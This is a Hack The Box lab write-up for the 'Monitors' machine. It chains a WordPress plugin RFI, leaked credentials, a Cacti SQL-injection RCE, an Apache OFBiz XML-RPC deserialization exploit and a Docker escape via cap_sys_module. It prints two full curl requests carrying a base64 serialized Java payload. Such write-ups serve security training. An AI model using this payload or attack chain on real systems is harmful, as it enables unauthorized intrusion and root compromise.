HTB Write Up: Monitors

Louis Low
9 min readOct 12, 2021

As promised in my LinkedIn post, this is my detailed write up to one of the recently retired Hack The Box Labs Machine: Monitors. Monitors is a hard difficulty Linux Machine that required detailed enumeration and exploiting several web vulnerabilities that allowed us to gain initial foothold. The root, however, will require us to replicate a common CVE exploit manually but there is an option for us to use Metasploit. So in this write up, I will demonstrate both methods to gain root.

Recon

We see here that Port 22 and Port 80 is open. Based on the OpenSSH version, we know that we are dealing with Ubuntu Linux Bionic (18.04). With this in mind, let’s explore Port 80 which is running Apache httpd 2.4.29.

Information Gathering

Initially as we access the IP address on our web browser:

We need to add “monitors.htb” into our /etc/hosts and then visiting it again:

After Gobuster, we found wp-includeswhich confirms the fact that we are dealing with a wordpress site. wp-includesfolder contains all the remaining files and folders required for your website to function properly. Browsing the directory listing on wp-includes:

Using wpscan, we see that the upload directory is enabled, this actually led me to a rabbit hole with the upload functionality on the wordpress site but it was just a rabbit hole and we could only use it to get file from remote place but there is no code execution there:

But what is interesting is the plugin present:

Insecure WP Plugins are known to be ways to gain footholds into Wordpress Sites

Checking on this version for vulnerabilities, we found a CVE for wp-with-spritz:

We see that this leads us to a RFI exploit! Trying this Exploit, we will be able conduct Path Traversal and find the /etc/passwd file:

Obtained read to /etc/passwd file

Now that we have RFI, we are able to read files and execute files if we can find an upload functionality to exploit with. Let’s see what files can we read. One of the interesting file in WP is the configurations file which may contain the password we need to login as admin! Once we are admin, it is possible to upload a shell and use RFI to trigger it.

First, we know that the readme.html and the wp-config.php file are on the same web level. From our scan, we know readme.html for this site is on the web root side, and the wp-config.php file, based on information online, is found on the web root folder as well. 3 ../ will get us where we want to go:

README.html that is commonly found on Wordpress root folder

Getting to wp-config.php feels like something got chopped off:

Using Burp Suite, we are able to see the remaining contents of this file and we obtained password of admin: wpadmin:BestAdministrator@2020! However, even after logging in as admin, we cannot really do anything much to help us to get through. So, let’s take a step back and see where else can we read information that maybe useful for us.

Through fuzzing for files related to apache2:

As we go through the configuration files or log files with relations to apache2:

we notice that there is actually another subdomain! Adding cacti-admin.monitors.htb to our host file and visiting it:

Using the username and password we found earlier:

And we are in. Now that we are in, before we starting flipping through, let’s see what this cacti tech is and possible CVEs. We see the version 1.2.12.

Cacti is a complete network graphing solution designed to harness the power of RRDTool’s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with thousands of devices.

We also found a possible CVE available for this version of cacti software.

Foothold

We see that it is using some kind of SQL injection to execute command through the update settings ability of the SQL. The payload is set to a path which is then triggered when the vulnerable URL is visited.

Checking our listener:

Checking if we can take user.txt:

We see that we are not successful. This means we need to get in fully as marcus user to secure our foothold as user. Notice there is a .backup folder that is only executable. Using grep, we find marcus since this .backup is an interesting folder which might be a result of some service or program running. After trying several root folders:

Checking out this file that executes the backup.sh:

we have write permissions on this symlink. Furthermore, we know that backup.sh exists in .backups in marcus home directory. Let’s try reading that file:

Looking at the command, we see that the backup are zipped and transferred with the scp. The config_pass VerticalEdge2020 seems to be the password for the ssh to be successful. We see that because of the use of the scp command which seems to copy the backup of cacti file which is zipped to an internal private IP address.

Knowing this, we can attempt an ssh in with the credentials we just obtained.

And we are in as marcus . We can grab user.txt.

Privilege Escalation to Root

Information Gathering

We transferred linpeas.sh and ran it to enumerate more information about the machine:

We see that root seems to be running some processes with relations to Java:

It seems to use Gradle to deploy something in apache. But we know the front end earlier was not Apache Tomcat. This gives hint of something internal.

We look further and confirm that port 8443 is open. We should investigate this.

When we attempt to use netcat to inspect the port:

It says the port requires TLS. This is mostly likely another internal web service running on https. But how can we access it since it is only available internally The correct answer is to forward the port!

Checking our browser:

We see that we are indeed dealing with Apache Tomcat version 9.0.31. Using gobuster:

Going to /content, we are redirected to a login page for a software called OfBiz, in which the name appeared in our enumeration earlier!

Visiting /webtools will redirect us to an interesting page:

Tried to login with several variations of credentials. Instead, let’s try looking at Tomcat and the version and this Apche_ofbizto see if there are any already known vulnerabilities we can exploit with:

There are two ways to do this, one via metasploit, and one without:

Non-Metasploit Exploit

Creating our script:

Attempt to load our script using this exploit:

Generate our serialised object encoded in base64:

Then using the command below:

curl https://127.0.0.1:4444/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsLK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8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AAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Checking our python server:

Now let’s try executing the script:

curl https://127.0.0.1:4444/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIA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C9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Checking our listener:

And we are root!

Metasploit Exploit

Just simply look for the exploit linux/http/apache_ofbiz_deserialization and use it and put in the appropriate values to create your reverse shell:

Now that we are in as root, we realise root.txt does not exist here! This is because we are in the container that is hosting the vulnerable apache tomcat server. So we need to think of a way to escape docker!

Checking for capabilities, some capabilities will give us the ability to escape Docker:

We see that it is known to be possible to breakout of docker with cap_sys_module, so let’s try it. Creating the C file:

Creating the Makefile:

Transferring it into the container:

Notice we can make on the container here. Then we use make:

Then load the module:

Then on our listener:

We successfully escaped out of the container and is root! We grab the root.txt and we successfully pwned the machine.

Afterthoughts

This box highlights a lot of enumeration and a lot of “trying harder” moments. If we google the right things, and understand the functionalities that exists on the box, it will help us to effectively gauge which vulnerability is more exploitable. Exploring the non-metasploit route also allowed me to have a better understanding on how to exploit the insecure deserialisation vulnerability on the web application. Hope you enjoy this write up! Do drop me a DM if you have got any questions.

--

--

Louis Low

Security Engineer by Day | Security Researcher by Night | Bug Bounty Hunting